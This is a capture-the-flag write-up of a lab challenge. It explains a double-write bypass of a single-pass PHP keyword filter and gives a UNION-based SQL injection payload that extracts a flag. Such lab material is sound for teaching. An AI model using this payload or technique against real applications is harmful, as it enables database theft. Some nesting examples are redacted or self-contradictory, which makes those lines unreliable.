Dead or alive 7
Dead or alive 7
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: double_write_bypass, nested_keyword_injection
Summary
Walkthrough of the CUSTOM Web Dead or alive 7. SQL injection bypass task. WAF uses preg_replace to remove SQL keywords.
Description
SQL injection bypass task. WAF uses preg_replace to remove SQL keywords.
URL: http://kslweb1.spb.ctf.su/sqli/bypass7/
Analysis
Seventh task in the SQL injection bypass series. WAF is implemented via PHP's preg_replace() function, which removes dangerous SQL keywords:
SELECTUNIONFROM- and others
Key vulnerability: the filter performs only one pass of removal. This allows using the "double-write" technique — embedding a keyword inside itself so that after the inner part is removed, a valid keyword remains.
Solution
Double-write bypass principle
If WAF removes SELECT from a string once:
REDACTED→ after removingSELECTfrom the middle →SELECTUNUNIONION→ after removingUNIONfrom the middle →UNION
Transformation examples
| Original | After preg_replace | Result |
|---|---|---|
REDACTED | SELECT removed | SELECT |
UNUNIONION | UNION removed | UNION |
FRFROMOM | FROM removed | FROM |
Payload
' UNUNIONION REDACTED flag FRFROMOM flags--
After WAF processing:
' UNION SELECT flag FROM flags--
Alternative nesting options
You can nest at different positions:
REDACTED— in the middleSELECTSELECT— won't work (first SELECT removed, SELECT remains)SSELECTELECT— SELECT removed, SELECT remains
The key is that after removing the inner occurrence, the letters "merge" into the desired word.
Key Takeaways / Lessons
- Mastering double_write_bypass, nested_keyword_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 7 • Difficulty: Easy